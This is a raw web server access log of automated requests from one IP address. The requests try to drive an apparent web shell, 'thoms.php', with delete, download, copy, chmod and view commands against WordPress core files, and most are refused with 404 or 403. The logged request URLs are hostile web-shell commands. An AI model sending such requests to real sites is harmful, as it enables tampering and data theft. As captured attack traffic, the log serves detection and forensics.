45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?dl=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?dl=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?del=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?chmod=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?dl=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /biotaiwan.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?chmod=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?del=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fuser.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fuser.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fview-transitions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fview-transitions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /biotaiwan.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?dl=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?dl=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /biotaiwan.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?dl=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /biotaiwan.com.tw/wp-includes/css/ HTTP/1.1" 200 2396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /biotaiwan.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:40 -0400] "GET /thoms.php?del=connectors.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-requests.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-requests.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /biotaiwan.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /biotaiwan.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:41 -0400] "GET /thoms.php?chmod=rest-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-formats.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-formats.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?del=block-bindings&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?dl=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /biotaiwan.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?dl=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
